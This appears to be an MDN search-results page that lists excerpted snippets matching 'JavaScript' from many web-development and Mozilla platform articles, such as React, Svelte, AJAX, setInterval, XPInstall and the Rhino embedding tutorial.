JavaScript, but they won't actually be links or buttons, and you'll lose a lot of the accessibility these elements give you for free. So don't do it if you can avoid it. Another tip -- as shown in our example, you can control how your focusable elements look when focused, using the :focus pseudo-class. It is a good idea to double up focus and hover styles, so your users get that visual clue that a control ...
...And 10 more matches
Handling common HTML and CSS problems - Learn web development
lems you will come across in HTML and CSS code, and what tools can be used to prevent problems from happening, or fix problems that occur. This includes linting code, handling CSS prefixes, using browser dev tools to track down problems, using polyfills to add support into browsers, tackling responsive design problems, and more. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages; an idea of the high level principles of cross browser testing. Objective: To be able to diagnose common HTML and CSS cross browser problems, and use appropriate tools and techniques to fix them. The trouble with HTML and CSS Some of the trouble with HTML and CSS lies with the fact that both languages are fairly simple, and often developers don't take them seriously,...
...wser problems, and use appropriate tools and techniques to fix them. The trouble with HTML and CSS Some of the trouble with HTML and CSS lies with the fact that both languages are fairly simple, and often developers don't take them seriously, in terms of making sure the code is well-crafted, efficient, and semantically describes the purpose of the features on the page. In the worst cases,
JavaScript is used to generate the entire web page content and style, which makes your pages inaccessible, and less performant (generating DOM elements is expensive). In other cases, nascent features are not supported consistently across browsers, which can make some features and styles not work for some users. Responsive design problems are also common -- a site that looks good in a desktop browser might p...
... Linters Another good option to choose is a so-called Linter application, which not only points out errors, but can also flag up warnings about bad practices in your CSS, and other points besides. Linters can generally be customized to be stricter or more relaxed in their error/warning reporting. There are many online linter applications, the best of which are probably Dirty Markup (HTML, CSS,
JavaScript), and CSS Lint (CSS only). These allows you to paste your code into a window, and it will flag up any errors with crosses, which can then be hovered to get an error message informing you what the problem is. Dirty Markup also allows you to make fixes to your markup using the Clean button. However, it is not very convenient to have to copy and paste your code over to a web page to check its val...
...And 10 more matches
Introducing a complete toolchain - Learn web development
s of building up a sample case study toolchain. We'll go all the way from setting up a sensible development environment and putting transformation tools in place to actually deploying your app on Netlify. In this article we'll introduce the case study, set up our development environment, and set up our code transformation tools. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages. Objective: To solidify what we've learnt so far by working through a complete toolchain case study. There really are unlimited combinations of tools and ways to use them, what you see in this article and the next is only one way that the featured tools can be used for a project. Note: It's also worth repeating that not all of these tools need to be run on the comma...
... APIs) concerning potentially hazardous space objects that threaten our existence on Earth! It looks like this: You can see a live version of the site at near-misses.netlify.com. Tools used in our toolchain In this article we're going to use the following tools and features: JSX, a React-related set of syntax extensions that allow you to do things like defining component structures inside
JavaScript. You won't need to know React to follow this tutorial, but we've included this to give you an idea of how a non-native web language could be integrated into a toolchain. The latest built-in
JavaScript features (at time of writing), such as import. Useful development tools such as Prettier for formatting and eslint for linting. PostCSS to provide CSS nesting capabilities. Parcel to build and m...
...e it is -- for example it might be more complex to configure, and easier to break. Conversely, the fewer links, the more resilient the toolchain is likely to be. All web projects will be different, and you need to consider what parts of your toolchain are necessary and consider each part carefully. The smallest toolchain is one that has no links at all. You would handcode the HTML, use "vanilla
JavaScript" (meaning no frameworks or intermediary languages), and manually upload it all to a server for hosting. However, more complicated software requirements will likely benefit from the usage of tools to help simplify the development process. In addition, you should include tests before you deploy to your production server to ensure your software works as intended -- this already sounds like a necess...
...And 10 more matches
Tutorial: Embedding Rhino
edder, the objects exposed to scripts can be customized further. This tutorial leads you through the steps from a simple embedding to more customized, complex embeddings. Fully compilable examples are provided along the way. The examples live in the rhino/examples directory in the distribution and in mozilla/js/rhino/examples in cvs. This document will link to them using lxr. In this document,
JavaScript code will be in green, Java code will be in green, and shell logs will be in purple. In this document: RunScript: A simple embedding Entering a Context Initializing standard objects Collecting the arguments Evaluating a script Printing the result Exiting the Context Expose Java APIs Using Java APIs Implementing interfaces Adding Java objects Using...
...code will be in green, Java code will be in green, and shell logs will be in purple. ...
...in green, and shell logs will be in purple. In this document: RunScript: A simple embedding Entering a Context Initializing standard objects Collecting the arguments Evaluating a script Printing the result Exiting the Context Expose Java APIs Using Java APIs Implementing interfaces Adding Java objects Using
JavaScript objects from Java Using
JavaScript variables Calling
JavaScript functions
JavaScript host objects Defining Host Objects Counter example Counter's constructors Class name Dynamic properties Defining
JavaScript "methods" Adding Counter to RunScript RunScript: A simple embedding About the simplest embedding of Rhino possible is the RunScript example. All it does it read...
...And 10 more matches
nsIPromptService
ast changed in Gecko 1.7.5 You can define access keys (or keyboard shortcuts) for buttons by including an ampersand ("&") in front of the character that should be the access key for that button. If you need to include an ampersand in the button's text, use two of them, like this: "&&". Note: Some of these interface methods use out and inout parameters. In C++, out parameters are pointers. For
JavaScript, they are extra work, as you can't use an out parameter directly. You need to wrap them in a temporary object, which can be either empty or have a value property set to the out parameter type. For more information on out parameters and
JavaScript refer to Working with out parameters. Implemented by: @mozilla.org/embedcomp/prompt-service;1. To get an instance, use: var promptService = Components.c...
... select(in nsIDOMWindow aParent, in wstring aDialogTitle, in wstring aText, in PRUint32 aCount, [array, size_is(aCount)] in wstring aSelectList, out long aOutSelection); Constants The following flags are combined to form the aButtonFlags parameter passed to confirmEx. All flags are defined as unsigned long constants and can be accessed as Components.interfaces.nsIPromptService.flagname from
JavaScript and as nsIPromptService::flagname from C++. Button position flags On Linux and Mac, button 2 is on the left of the prompt, while buttons 1 and 0 are on the right. On Windows and OS/2, the buttons are centred in the order 0, 2, 1. Constant Value Description BUTTON_POS_0 1 This is usually the button used to confirm the prompt. It typically has the label "OK", "Yes", or...
...window will be nsIWindowWatcher.activeWindow. aDialogTitle Text to appear in the title of the dialog. aText Text to appear in the body of the dialog. aCheckMsg Text to appear with the checkbox. aCheckState Contains the initial checked state of the checkbox when this method is called and the final checked state after this method returns. If you call this method from
JavaScript you need to wrap this argument in an object with its 'value' property set to a boolean (or use an empty object). See also the alertCheck_example. confirm() Shows a dialog with OK and cancel buttons. boolean confirm( in nsIDOMWindow aParent, in wstring aDialogTitle, in wstring aText ); Parameters aParent The parent window for the dialog. If set to null the parent window will be ns...
...And 10 more matches
Authoring MathML - MathML
ns, WYSIWYG editors and other Content Management Systems to help writing Web pages. Mathematical notations are even more complex with structures like fractions, square roots or matrices that are likely to require their own tags. As a consequence, good MathML authoring tools are more important and we describe some tools below. In particular, the Mozilla MathML team has been developing TeXZilla, a
Javascript Unicode LaTeX-to-MathML converter that is intended to be used in many scenarios described here. Of course, the list is by no means exhaustive and you are invited to check out the W3C MathML software list where you can find various other tools. Note that by design, MathML is well-integrated in HTML5 and in particular you can use usual Web features like CSS, DOM,
Javascript or SVG. This is out of ...
...over, a LaTeX-to-MathML input box has also been integrated into SeaMonkey since version 2.28 and into Thunderbird since version 31. Again, the way MathML is handled and the quality of the MathML rendering depends on the mail client. Even if your browser supports MathML, your Webmail may prevent you to send or receive mails with MathML inside. Gecko-based instant messaging clients can integrate a
Javascript-based text-to-MathML converter (mentioned below) and then render the MathML expressions generated from the (plaintext) instant messages. For example, there is an Instantbird add-on that handles LaTeX expressions. Conversion from a Simple Syntax There are many simple notations (e.g. wiki or markdown syntaxes) to generate HTML pages. The same is true for MathML: for example ASCII syntaxes as used...
...rface is not user-friendly: only code editor without immediate display of the mathematical expression. None of the syntax has been standardized, making cross-compatibility between converters difficult. Even the popular LaTeX language keeps having new packages added. ...
...And 10 more matches
JSObject - Archive of obsolete content
JSObject allows Java to manipulate
JavaScript objects. When a
JavaScript object is sent to Java, the runtime engine creates a Java wrapper of type JSObject; when a JSObject is sent from Java to
JavaScript, the runtime engine unwraps it to its original
JavaScript object type. The JSObject class provides a way to invoke
JavaScript methods and examine
JavaScript properties. Any
JavaScript data brought into Java is converted to Java data types. ...
...bject extends Object. java.lang.Object | +----netscape.
javascript.JSObject Description
JavaScript objects are wrapped in an instance of the class netscape.
javascript.JSObject and passed to Java. JSObject allows Java to manipulate
JavaScript objects. When a
JavaScript object is sent to Java, the runtime engine creates a Java wrapper of type JSObject; when a JSObject is sent from Java to
JavaScript, the runtime engine unwraps it to its original
JavaScript object type. The JSObject class provides a way to invoke
JavaScript methods and examine
JavaScript properties. Any
JavaScript data brought into Java is converted to Java data types. ...
... sent to Java, the runtime engine creates a Java wrapper of type JSObject; when a JSObject is sent from Java to
JavaScript, the runtime engine unwraps it to its original
JavaScript object type. The JSObject class provides a way to invoke
JavaScript methods and examine
JavaScript properties. Any
JavaScript data brought into Java is converted to Java data types. When the JSObject is passed back to
JavaScript, the object is unwrapped and can be used by
JavaScript code. See the Core
JavaScript 1.5 Guide for more information about data type conversions. Method Summary The netscape.
javascript.JSObject class has the following methods: call Calls a
JavaScript method. equals Determines if two JSObject objects refer to the same instance. (What's the problem with == ?) eval Evaluates a Java...
...And 9 more matches
Xray vision
Because this code is being loaded from arbitrary web pages, it is regarded as untrusted and potentially hostile, both to other websites and to the user. ...
...Because this code is being loaded from arbitrary web pages, it is regarded as untrusted and potentially hostile, both to other websites and to the user. ...
...Because this code is being loaded from arbitrary web pages, it is regarded as untrusted and potentially hostile, both to other websites and to the user. ...
...And 9 more matches
Waterfall - Firefox Developer Tools
So if you see a sign of a performance problem - a drop in the frame rate, for example - you can go to the Waterfall to see what the browser was doing at that point in the recording. Along the X-axis is time. ...
...ecution. When a marker is selected you'll see more information about it in a sidebar on the right. This includes the marker's duration and some more information that's specific to the marker type. Markers The markers for operations are color-coded and labeled. ...
...perations are color-coded and labeled. The following operations are recorded: Name and description Color Detailed information DOM Event
JavaScript code that's executed in response to a DOM event. Event Type For example, "click" or "message". Event Phase For example, "Target" or "Capture".
JavaScript functions executed in the page are labeled with the reason the function was called: Script Tag setInterval setTimeout requestAnimationFrame Promise Callback Promise Init Worker
JavaScript URI Event Handler Stack Call stack, with links to functions. Parse HTML Time spent parsing the page's HTML. ...
...And 9 more matches
Window.open() - Web APIs
f the developer has access only to its name (the name can be saved with cookies or local storage but not the window object handle). For now 10/01/2017 the differencies of behavior found recently have not still been tested for others Browsers. Window features windowFeatures is an optional string containing a comma-separated list of requested features of the new window. After a window is opened,
JavaScript can't be used to change the features. If windowName does not specify an existing window and the windowFeatures parameter is not provided (or if the windowFeatures parameter is an empty string), then the new secondary window will render the default toolbars of the main window. Tip: Note that in some browsers, users can override the windowFeatures settings and enable (or prevent the disabling of)...
...quest's referrer set to noreferrer; this prevents the request from sending the URL of the page that initiated the request to the server where the request is sent. In addition, setting this feature also automatically sets noopener. See rel="noreferrer" for additional details and compatibility information. Firefox introduced support for noreferrer in Firefox 68. ...
...="This link will create a new window or will re-use an already opened one" >Promote Firefox adoption</a></p> The above code solves a few usability problems related to links opening secondary window. The purpose of the return false in the code is to cancel default action of the link: if the onclick event handler is executed, then there is no need to execute the default action of the link. But if
javascript support is disabled or non-existent on the user's browser, then the onclick event handler is ignored and the browser loads the referenced resource in the target frame or window that has the name "PromoteFirefoxWindowName". If no frame nor window has the name "PromoteFirefoxWindowName", then the browser will create a new window and will name it "PromoteFirefoxWindowName". More reading on the use ...
...And 9 more matches
Using XPInstall to Install Plugins - Archive of obsolete content
Parts of this page show the use of the XPInstall API. The majority of this API is now deprecated and as of Gecko 1.9 no longer available. Extension, Theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest. In particular plugin developers should see how to package a plugin as an extension. XPInstall is a
JavaScript-based installer technology that works across all the platforms that Mozilla and Netscape browsers based on Mozilla (such as Netscape 7) are deployed. It can be a way to ensure a smooth user-experience when obtaining plugins, without obliging the user to exit the browsing environment to launch a binary installer (the classic setup.exe experience on Windows) or obliging the user to restart their browser. ...
... is about how you can use XPInstall to install plugins to the browsers that support XPInstall. An XPI Package is in fact a ZIP file with the XPI file extension (e.g. myPluginInstaller.xpi), and can be created on Windows by utilities such as WinZip. XPI Packages, like ZIP files, "contain" other files, typically: The software component to be installed. In our case, this is the plugin software. A
JavaScript file called install.js, which is the install logic that drives the installation. This includes instructions on where to install the software, and what messages to feed to the user. You can create an XPInstall file by first zipping all the items you want installed with WinZip (create a ZIP archive) and then renaming it with the XPI file extension instead of the ZIP file extension. Unlike native c...
...where to install the software, and what messages to feed to the user. You can create an XPInstall file by first zipping all the items you want installed with WinZip (create a ZIP archive) and then renaming it with the XPI file extension instead of the ZIP file extension. Unlike native code installers (for example, files called setup.exe), the programming language for install operations in XPI is
JavaScript. Since the file format that contains the software and the install.js
JavaScript file is a cross-platform file (Zip) and since
JavaScript is understood by Mozilla browsers on all platforms, often one single XPI package can be deployed on all platforms. This is, in fact, how skins and themes are installed to Mozilla browsers, changing their look and feel. This article focuses on how to install plug...
...And 8 more matches
Silly story generator - Learn web development
view: First steps In this assessment you'll be tasked with taking some of the knowledge you've picked up in this module's articles and applying it to creating a fun app that generates random silly stories. Have fun! Prerequisites: Before attempting this assessment you should have already worked through all the articles in this module. Objective: To test comprehension of
JavaScript fundamentals, such as variables, numbers, operators, strings, and arrays. Starting point To get this assessment started, you should: Go and grab the HTML file for the example, save a local copy of it as index.html in a new directory somewhere on your computer, and do the assessment locally to begin with. This also has the CSS to style the example contained within it. Go to the page co...
...ndex.html in a new directory somewhere on your computer, and do the assessment locally to begin with. This also has the CSS to style the example contained within it. Go to the page containing the raw text and keep this open in a separate browser tab somewhere. You'll need it later. Alternatively, you could use a site like JSBin or Glitch to do your assessment. You could paste the HTML, CSS and
JavaScript into one of these online editors. If the online editor you are using doesn't have a separate
JavaScript panel, feel free to put it inline in a <script> element inside the HTML page. Note: If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Project brief You have been provided with some raw HTML/CSS and a few text strings and JavaSc...
... Replaces the default name "Bob" in the story with a custom name, only if a custom name is entered into the "Enter custom name" text field before the generate button is pressed. ...
...And 8 more matches
Getting started with Ember - Learn web development
Objective: To learn how to install Ember, and create a starter app. ...
... Objective: To learn how to install Ember, and create a starter app. ...
...will look at how Ember works and what it's useful for, install the Ember toolchain locally, create a sample app, and then do some initial setup to get it ready for development. Prerequisites: At minimum, it is recommended that you are familiar with the core HTML, CSS, and
JavaScript languages, and have knowledge of the terminal/command line. A deeper understanding of modern
JavaScript features (such as classes, modules, etc), will be extremely beneficial, as Ember makes heavy use of them. Objective: To learn how to install Ember, and create a starter app. Introducing Ember Ember is a component-service framework that focuses on the overall web application development experience, minimizing the trivial differences between applications -- all while being a...
...And 8 more matches
Getting started with React - Learn web development
Previous Overview: Client-side
JavaScript frameworks Next In this article we will say hello to React. We'll discover a little bit of detail about its background and use cases, set up a basic React toolchain on our local computer, and create and play with a simple starter app -- learning a bit about how React works in the process. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages, knowledge of the terminal/command line. React uses an HTML-in-
JavaScript syntax called JSX (
JavaScript and XML). Familiarity with both HTML and
JavaScript will help you to learn JSX, and better identify whether bugs in your application are related to
JavaScript or to the more specific domain of React. Objective: To set up a local React development e...
...a compiler like Babel to a website makes the code on it run slowly, so developers often set up such tooling with a build step. React arguably has a heavy tooling requirement, but it can be learned. This article is going to focus on the use case of using React to render the entire user interface of an application, using tooling provided by Facebook's own create-react-app tool. How does React use
JavaScript? React utilizes features of modern
JavaScript for many of its patterns. Its biggest departure from
JavaScript comes with the use of JSX syntax. JSX extends
JavaScript's syntax so that HTML-like code can live alongside it. For example: const heading = <h1>Mozilla Developer Network</h1>; This heading constant is known as a JSX expression. React can use it to render that <h1> tag in our app. Sup...
...rk") ); It's possible to skip the compilation step and use React.createElement() to write your UI yourself. In doing this, however, you lose the declarative benefit of JSX, and your code becomes harder to read. Compilation is an extra step in the development process, but many developers in the React community think that the readability of JSX is worthwhile. Plus, popular tooling makes the JSX-to-
JavaScript compilation part of its setup process. You don't have to configure compilation yourself unless you want to. Because JSX is a blend of HTML and
JavaScript, some developers find it intuitive. Others say that its blended nature makes it confusing. Once you're comfortable with it, however, it will allow you to build user interfaces more quickly and intuitively, and allow others to better understand ...
...And 8 more matches
TypeScript support in Svelte - Learn web development
Previous Overview: Client-side
JavaScript frameworks Next In the last article we learned about Svelte stores and even implemented our own custom store to persist the app's information to Web Storage. We also had a look at using the transition directive to implement animations on DOM elements in Svelte. We will now learn how to use TypeScript in Svelte applications. First we'll learn what TypeScript is and what benefits it can bring us. Then we'll see how to configure our project to work with TypeScript files. Finally we will go over our app and see what modifications we have to make to fully take advantage of TypeScript features. ...
...e applications. First we'll learn what TypeScript is and what benefits it can bring us. Then we'll see how to configure our project to work with TypeScript files. Finally we will go over our app and see what modifications we have to make to fully take advantage of TypeScript features. Prerequisites: At minimum, it is recommended that you are familiar with the core HTML, CSS, and
JavaScript languages, and have knowledge of the terminal/command line. You'll need a terminal with node + npm installed to compile and build your app. Objective: Learn how to configure and use TypeScript when developing Svelte applications. Note that our application is fully functional and porting it to TypeScript is completely optional. There are different opinions about it, and...
...ial.git Then to get to the current app state, run cd mdn-svelte-tutorial/07-typescript-support Or directly download the folder's content: npx degit opensas/mdn-svelte-tutorial/07-typescript-support Remember to run npm install && npm run dev to start your app in development mode. REPL Unfortunately, TypeScript support is not yet available in the REPL. TypeScript: optional static typing for
JavaScript TypeScript is a superset of
JavaScript that provides features such as optional static typing, classes, interfaces, and generics. The goal of TypeScript is to help catch mistakes early through its type system and make
JavaScript development more efficient. One of the big benefits is enabling IDEs to provide a richer environment for spotting common errors as you type the code. Best of all, JavaSc...
...And 8 more matches
Dynamic behavior in Svelte: working with variables and props - Learn web development
Previous Overview: Client-side
JavaScript frameworks Next Now that we have our markup and styles ready we can start developing the required features for our Svelte To-Do list app. In this article we'll be using variables and props to make our app dynamic, allowing us to add and delete todos, mark them as complete, and filter them by status. Prerequisites: At minimum, it is recommended that you are familiar with the core HTML, CSS, and
JavaScript languages, and have knowledge of the terminal/command line. You'll need a terminal with node + npm installed to compile and build your app. ...
...erequisites: At minimum, it is recommended that you are familiar with the core HTML, CSS, and
JavaScript languages, and have knowledge of the terminal/command line. You'll need a terminal with node + npm installed to compile and build your app. Objective: Learn and put into practice some basic Svelte concepts, like creating components, passing data using props, render
JavaScript expressions into our markup, modify the components state and iterating over lists. Code along with us Git Clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git Then to get to the current app state, run cd mdn-svelte-tutorial/03-adding-dynamic-behavior Or directly download the folder's content: npx degit opensas/mdn-...
... We've turned our static markup into a dynamic template ready to display the tasks from our component's state. Great! We are getting there. Working with props With a hardcoded list of todos, our Todos component is not very useful. To turn our component into a general purpose To-Do editor we should...
...And 8 more matches
Package management basics - Learn web development
Previous Overview: Understanding client-side tools Next In this article we'll look at package managers in some detail to understand how we can use them in our own projects -- to install project tool dependencies, keep them up-to-date, and more. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages. Objective: To understand what package managers and package repositories are, why they are needed, and the basics of how to use them. A dependency in your project A dependency is a third-party bit of software that was probably written by someone else and ideally solves a single problem for you. A web project can have any number of dependencies, ranging from none to many, and your dependencies might include sub-dependencies that you didn't ex...
...uman-readable text. You could certainly code this yourself, but there's a strong chance that someone else has already solved this problem -- why waste time reinventing the wheel? Moreover, a reliable third-party dependency will likely have been tested in a lot of different situations, making it more robust and cross-browser compatible than your own solution. A project dependency can be an entire
JavaScript library or framework -- such as React or Vue -- or a very small utility like our human-readable date library, or it can be a command line tool such as Prettier or eslint, which we talked about in previous articles. Without modern build tools, dependencies like this might be included in your project using a simple <script> element, but this might not work right out of the box and you will likely ...
... Without modern build tools, dependencies like this might be included in your project using a simple <script> element, but this might not work right out of the box and you will likely need some modern tooling to bundle your code and dependencies together when they are released on the web. A bundle is the term that's generally used to refer to a single file on your web server that contains all the
JavaScript for your software -- typically compressed as much as possible to help reduce the time it takes to get your software downloaded and displayed in your visitors' browser. In addition, what happens if you find a better tool that you want to use instead of the current one, or a new version of your dependency is released that you want to update to? This is not too painful for a couple of dependencies,...
...And 8 more matches
Building the WebLock UI
er can click to access the web lock interface. WebLock Indicator in Browser User Interface Package List The user interface described in this section is comprised of four files: webLockOverlay.xul is the file that defines the little status icon in the browser. weblock.xul defines the web lock manager dialog. weblock.css provides style rules for both of the XUL files. weblock.js provides
JavaScript functions for both of the XUL files. Each of these files is described briefly in the sections below. In the following chapter we'll describe how you can take these files and create a package, an installable archive that includes the WebLock component and the new UI. Because this step (particularly the overlay section) is so dependent on Mozilla, the chapter is divided up into a couple of diffe...
...e web locking of the browser. First of all, it's important to be able to represent the basic state of the lock as soon as it's loaded. Like the secure page icon, the weblock icon that appears in the lower right corner of the browser should indicate whether the browser is currently locked or unlocked. Since the WebLock component is always initialized as unlocked, we can have the client code - the
JavaScript code in the interface - represent this state and track it as the user manipulates the iWebLock interface. A boolean wLocked variable can do this: // initialize the wLocked variable as unlocked var wLocked = 0; Then the functions that get called from the interface and call through to the lock and unlock methods of the WebLock component must also adjust this variable accordingly: function wLock...
... to the lock and unlock methods of the WebLock component must also adjust this variable accordingly: function wLock() { // check to see if locking is on or off weblock.lock(); wLocked = 1; } function wUnLock() { // check to see if locking is on or off weblock.unlock(); wLocked = 0; } An important preliminary of these functions is that the WebLock component be made available to the
JavaScript in the form of the weblock object being used in the snippets above. As you can see, weblock is initialized as a global
JavaScript variable, available in the scope of these functions and others: var weblock = Components.classes["@dougt/weblock"] .getService() .QueryInterface(Components.interfaces.iWebLock); In addition to this basic setup, you mus...
...And 8 more matches
nsIJSON
However, you should use native JSON instead if at all possible. Implemented by: @mozilla.org/dom/json;1. ...
...However, you should use native JSON instead if at all possible. Implemented by: @mozilla.org/dom/json;1. ...
... decodeToJSVal() Note: This method may only be us...
...And 8 more matches
nsIScriptError
66 Introduced Gecko 1.0 Inherits from: nsIConsoleMessage Last changed in Gecko 1.9 (Firefox 3) Implemented by: @mozilla.org/scripterror;1. To create an instance, use: var scriptError = Components.classes["@mozilla.org/scripterror;1"] .createInstance(Components.interfaces.nsIScriptError); Note: The nsIScriptError2 interface was merged into this interface in Gecko 12.0. Prior to that release, if you wanted to associate an outer window with a script error, you had to use nsIScriptError2 instead. ...
... unsigned long long The window ID with which the error is associated. This is zero if the error was initialized by calling nsIScriptError.init() instead of initWithWindowID(). Read only. sourceLine AString The line from the file specified by sourceName. You are responsible for providing that line. You may pass null if you are lazy; that will prevent showing the source line in
JavaScript Console. Read only. sourceName AString The URL of the file in which the error occurred. This will be a hyperlink in the
JavaScript Console, so you should use a real URL. You may pass null if it's not applicable. Read only. timeStamp long long Elapsed time, in milliseconds, from a platform-specific zero time to the time the message was created. Read only. Flag...
... with information describing the error which occurred. void init( in wstring message, in wstring sourceName, in wstring sourceLine, in PRUint32 lineNumber, in PRUint32 columnNumber, in PRUint32 flags, in string category ); Parameters message The text of the message to add to the log. sourceName The URL of the file in which the error occurred. This will be a hyperlink in the
JavaScript Console, so you should use a real URL. You may pass null if it's not applicable. sourceLine The line number in the source file on which the error occurred. You are responsible for providing that line. You may pass null if you are lazy; that will prevent showing the source line in
JavaScript Console. lineNumber The number of the line where the error occurred. columnNumber The column number w...
...And 8 more matches
Working with windows in chrome code
d parameter is the window's name; the name can be used in links or forms as the target attribute. This is different from the user-visible window title, which is specified using XUL. The third, and optional, parameter is a list of special window features the window should have. The window.openDialog function works similarly, but lets you specify optional arguments that can be referenced from the
JavaScript code. It also handles window features a little differently, including always assuming the dialog feature is specified. From XPCOM components and modules If the Window object is unavailable (for example, when opening a window from XPCOM component code), you might want to use nsIWindowWatcher interface. Its parameters are similar to window.open; in fact, window.open's implementation calls nsIWind...
...element inside your document. You can use browser.contentDocument to access that document and browser.contentWindow to access the Window object of that document. You should be aware of XPCNativeWrappers when working with untrusted content. With XPCNativeWrappers turned on (which is the default in Firefox 1.5+), your extension can safely access the DOM of the content document, but not the content
JavaScript. Bypassing XPCNativeWrapper to work with content
JavaScript directly can lead to security problems. See Interaction between privileged and non-privileged pages if you need to interact with the content page. The content shortcut In case of <browser type="content-primary" />, you can use the content shortcut property to accesss the Window object of the content document. For example: // alerts t...
...WindowMediator page for more information and examples of using nsIWindowMediator. === Example: Opening a window only if it's not opened already === XXX TBD Passing data between windows When working with multiple windows, you often need to pass information from one window to another. Since different windows have separate DOM documents and global objects for scripts, you can't just use one global
JavaScript variable in scripts from different windows. There are several techniques of varying power and simplicity that can be used to share data. We'll demonstrate them from the simplest to the most complex in the next few sections. Note: if you want to pass data between privileged (chrome) and non-privileged (web page) windows, or vice-versa, read this instead. Example 1: Passing data to window when o...
...And 8 more matches
Working with data
There are several ways you can go about creating new CData objects. Creating uninitialized CData objects There are three forms of the syntax for creating CData objects without immediately assigning them a value: var myCDataObj = new type; var myCDataObj = new type(); var myCDataObj = type(); These all do the same thing: they return a new CData object of the specified type, whose data buffer has been populated entirely with zeroes. ...
...ject, the original object is simply duplicated directly into the new one. If type is an array type of unspecified length, the following steps are taken: If the value is a size value, a new array of that length is created, with its cells ready to accept values of the same type as those in the specified array. This is the same as new ArrayType(type.elementType, value). ...
... If none of these conditions are met, a TypeError is thrown. If type is ctypes.void_t, a TypeError is thrown. ...
...And 8 more matches
WindowOrWorkerGlobalScope.setInterval() - Web APIs
onload="changeColor();"> <div id="my_box"> <p>Hello World</p> </div> <button onclick="stopTextColor();">Stop</button> </body> </html> Example 3: Typewriter simulation The following example simulates typewriter by first clearing and then slowly typing content into the NodeList that matches a specified group of selectors. ...
...ass="intLink" onclick="oTWExample1.terminate();">Terminate</span> ]</p> <div id="info"> Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros convallis ut mollis magna pellentesque. Pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt tincidunt. </div> <h1>
JavaScript Typewriter</h1> <div id="article"> <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in placerat est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolo...
...orer versions 9 and below do not support the passing of arguments to the callback function in either setTimeout() or setInterval(). The following IE-specific code demonstrates a method for overcoming this limitation. To use, simply add the following code to the top of your script. /*\ |*| |*| IE-specific polyfill that enables the passage of arbitrary arguments to the |*| callback functions of
javascript timers (HTML5 standard syntax). |*| |*| /docs/Web/API/Window.setInterval |*| https://developer.mozilla.org/User:fusionchess |*| |*| Syntax: |*| var timeoutID = window.setTimeout(func, delay[, arg1, arg2, ...]); |*| var timeoutID = window.setTimeout(code, delay); |*| var intervalID = window.setInterval(func, delay[, arg1, arg2, ...]); |*| var intervalID = window.setInterval(code, delay); |*...
...And 8 more matches
Getting Started - Developer guides
In a nutshell, it is the use of the XMLHttpRequest object to communicate with servers. It can send and receive information in various formats, including JSON, XML, HTML, and text files. AJAX's most appealing characteristic is its "asynchronous" nature, which means it can communicate with the server, exchange data, and update the page without having to refresh the page. ...
... "asynchronous" nature, which means it can communicate with the server, exchange data, and update the page without having to refresh the page. The two major features of AJAX allow you to do the following: Make requests to the server without reloading the page Receive and work with data from the server Step 1 - How to make an HTTP request In order to make an HTTP request to the server with
JavaScript, you need an instance of an object with the necessary functionality. This is where XMLHttpRequest comes in. Its predecessor originated in Internet Explorer as an ActiveX object called XMLHTTP. Then, Mozilla, Safari, and other browsers followed, implementing an XMLHttpRequest object that supported the methods and properties of Microsoft's original ActiveX object. Meanwhile, Microsoft implemented X...
...t) { // IE 6 and older httpRequest = new ActiveXObject("Microsoft.XMLHTTP"); } Note: For illustration purposes, the above is a somewhat simplified version of the code to be used for creating an XMLHttp instance. For a more realistic example, see step 3 of this article. After making a request, you will receive a response back. At this stage, you need to tell the XMLHttp request object which
JavaScript function will handle the response, by setting the onreadystatechange property of the object and naming it after the function to call when the request changes state, like this: httpRequest.onreadystatechange = nameOfTheFunction; Note that there are no parentheses or parameters after the function name, because you're assigning a reference to the function, rather than actually calling it. Alternat...
...And 8 more matches
Web Performance
atency by making the experience as available and interactive as possible, as soon as possible, while asynchronously loading in the longer tail parts of the experience. There are tools, APIs, and best practices that help us measure and improve web performance. We cover them in this section: Key performance guides Animation performance and frame rateAnimation on the web can be done via SVG,
JavaScript, including <canvas> and WebGL, CSS animation, <video>, animated gifs and even animated PNGs and other image types. The performance cost of animating a CSS property can vary from one property to another, and animating expensive CSS properties can result in jank as the browser struggles to hit a smooth frame rate.Critical rendering pathThe Critical Rendering Path is the sequence of steps the browse...
..., <video>, animated gifs and even animated PNGs and other image types. The performance cost of animating a CSS property can vary from one property to another, and animating expensive CSS properties can result in jank as the browser struggles to hit a smooth frame rate.Critical rendering pathThe Critical Rendering Path is the sequence of steps the browser goes through to convert the HTML, CSS, and
JavaScript into pixels on the screen. Optimizing the critical render path improves render performance.The critical rendering path includes the Document Object Model (DOM), CSS Object Model (CSSOM), render tree and layout.CSS and
JavaScript animation performanceBrowsers are able to optimize rendering flows. In summary, we should always try to create our animations using CSS transitions/animations where possi...
...oves render performance.The critical rendering path includes the Document Object Model (DOM), CSS Object Model (CSSOM), render tree and layout.CSS and
JavaScript animation performanceBrowsers are able to optimize rendering flows. In summary, we should always try to create our animations using CSS transitions/animations where possible. If your animations are really complex, you may have to rely on
JavaScript-based animations instead.Lazy loadingLazy Loading is a strategy to identify resources as non-blocking (non-critical) and load these only when needed. It is a way of shorten the Critical Rendering Path length, what would translate into improved page load times. Navigation and resource timingsNavigation timings are metrics measuring a browser's document navigation events. Resource timings are d...
...And 8 more matches
Compiling from Rust to WebAssembly - WebAssembly
Rust code, you can compile it into WebAssembly (wasm). This tutorial takes you through all you need to know to compile a Rust project to wasm and use it in an existing web app. Rust and WebAssembly use cases There are two main use cases for Rust and WebAssembly: To build an entire application -- an entire web app based in Rust. To build a part of an application -- using Rust in an existing
